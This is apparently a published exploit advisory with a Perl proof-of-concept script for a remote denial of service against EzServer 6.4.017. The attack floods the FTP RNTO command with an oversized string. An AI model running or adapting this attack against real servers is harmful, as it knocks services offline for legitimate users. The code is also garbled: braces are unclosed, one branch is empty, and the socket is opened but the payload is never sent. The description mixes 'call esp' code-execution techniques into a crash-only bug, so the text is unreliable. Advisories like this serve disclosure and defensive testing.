Authored by Fernando Mengali

EzServer version 6.4.017 remote denial of service exploit.


use IO::Socket;

# Exploit Title: EzServer 6.4.017 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage: N/A
# Download to demo:
# Notification vendor: No reported
# Tested Version: EzServer 6.4.017 - Denied of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC


if ($sis eq "windows"){
} else {



print "[+] Exploiting... n";

my $payload = "x41"x10698;

my $sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "[-] Could not connect!n";

print "[+] Done - Exploited success!!!!!nn";

sub intro {
print q {

// o
|| ._)

[+] EzServer 6.4.017 - Denied of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: [email protected]


sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";